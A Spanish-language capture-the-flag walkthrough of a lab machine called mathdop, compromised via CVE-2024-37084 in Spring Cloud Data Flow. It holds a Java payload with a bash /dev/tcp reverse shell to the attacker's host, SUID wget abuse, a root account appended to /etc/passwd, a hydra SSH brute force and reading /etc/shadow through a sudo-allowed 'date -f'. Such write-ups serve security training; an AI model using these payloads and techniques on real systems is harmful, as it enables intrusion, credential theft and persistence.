Enumeración de servicios
El objetivo expone SSH y dos servicios HTTP sobre Apache Tomcat. La aplicación relevante se identifica como Spring Cloud Data Flow:
❯ nmap -sCV -p 22,7577,9393 -oN 02-targeted.txt 192.168.1.7
...
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
7577/tcp open http Apache Tomcat
9393/tcp open http Apache Tomcat
...Spring Cloud Data Flow RCE
El dashboard del puerto 9393 identifica Spring Cloud Data Flow 2.11.3, una versión afectada por CVE-2024-37084. La API complementaria del puerto 7577 expone /api/package/upload, que es el endpoint utilizado por el PoC. Una carga de paquete especialmente preparada provoca la deserialización de YAML y termina cargando una clase Java controlada por el atacante. Usamos el PoC de Kayiyan con un payload de artsploit; el constructor de la clase ejecutará la reverse shell cuando el servidor cargue el JAR:
❯ cat src/artsploit/AwesomeScriptEngineFactory.java
...
public AwesomeScriptEngineFactory() {
try {
String cmd = "bash -i >& /dev/tcp/192.168.1.6/1234 0>&1";
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
} catch (IOException e) { ... }
}
...❯ /usr/lib/jvm/java-8-openjdk/bin/javac src/artsploit/AwesomeScriptEngineFactory.java
❯ jar -cvf yaml-payload.jar -C src/ .
❯ python3 -m http.server
❯ python3 CVE-2024-37084-Poc.py --target_url http://192.168.1.7:7577/api/package/upload --version 5.0.0 --payload_url http://192.168.1.6:8000/yaml-payload.jar --listen_ip 192.168.1.6 --listen_port 1234
❯ ncat -lvp 1234
Ncat: Connection from 192.168.1.7:43772.
cnb@921567b128b2:/workspace$SUID Binary Abuse dentro del contenedor
El identificador del prompt y el entorno muestran que la shell pertenece a un contenedor Docker. Esto es importante porque root dentro del contenedor no equivale a root en el host. Buscando binarios SUID encontramos wget; mediante SUID Binary Abuse y --use-askpass, hacemos que ejecute un script conservando su EUID 0. Después añadimos una cuenta UID 0 al /etc/passwd del propio contenedor:
cnb@921567b128b2:/var$ find / -perm -4000 2>/dev/null
...
/usr/local/bin/wget
...
cnb@921567b128b2:/var$ TF=$(mktemp)
cnb@921567b128b2:/var$ chmod +x $TF
cnb@921567b128b2:/var$ echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
cnb@921567b128b2:/var$ wget --use-askpass=$TF 0
uid=1000(cnb) gid=1000(cnb) euid=0(root) egid=0(root) groups=0(root),1000(cnb)
# echo 'pwned:$1$salt1234$bTARrDtiFtJF9wDZzDFx00:0:0:xxoo,,,:/root:/bin/bash' >> /etc/passwdDerivación de la contraseña de mathlake
Los privilegios obtenidos dentro del contenedor permiten leer y exfiltrar /var/mail/mathlake/data.xlsx. La hoja plantea una descomposición de series temporales y la pista del número favorito 256 señala SHA-256. La tendencia calculada para junio de 2025 es 55; alrededor de ese resultado generamos las combinaciones descritas por el reto y almacenamos sus hashes para probarlos como una Weak Password de SSH:
❯ cat hashes.sh
#!/bin/bash
for i in {54..56};do
for j in {0..6};do
for k in {0..1};do
echo "$i*$j*$k" |sha256sum|awk '{print $1}';
done
done
done
❯ ./hashes.sh > wordlist.txt
❯ hydra -l mathlake -P wordlist.txt 192.168.1.7 ssh -t 64
...
[22][ssh] host: 192.168.1.7 login: mathlake password: 9bd29d2c90998b5af05b3fdf10d9ab4c9eff53f2a827fbc39247200874ab6ca3
...La contraseña encontrada permite salir del contexto del contenedor y entrar por SSH como mathlake en el host. sudo -l muestra que el usuario puede ejecutar un manejador de comandos como root sin contraseña:
[mathlake@mathdop ~]$ sudo -l
...
User mathlake may run the following commands on mathdop:
(ALL) NOPASSWD: /opt/secure_input_handler.shArbitrary File Read mediante date -f
El script decodifica comandos en Base64, pero solo admite date, pwd y echo. Esta lista permitida no neutraliza las opciones de cada programa. En concreto, date -f procesa un archivo línea por línea y muestra cada línea que no puede interpretar como fecha, por lo que el Sudo-Allowed Program Abuse se convierte en una Arbitrary File Read:
❯ echo 'date -f /etc/shadow' | base64
ZGF0ZSAtZiAvZXRjL3NoYWRvdwo=
[mathlake@mathdop ~]$ sudo /opt/secure_input_handler.sh
Input Command: ZGF0ZSAtZiAvZXRjL3NoYWRvdwo=
...
date: invalid date ‘# Worth waiting for’
...La salida de error reproduce el comentario # Worth waiting for encontrado en /etc/shadow. La frase funciona como contraseña de root:
[mathlake@mathdop ~]$ su root
Password: Worth waiting for
[root@mathdop mathlake]#El prompt privilegiado confirma el cambio de usuario. Con este acceso damos por completada la máquina.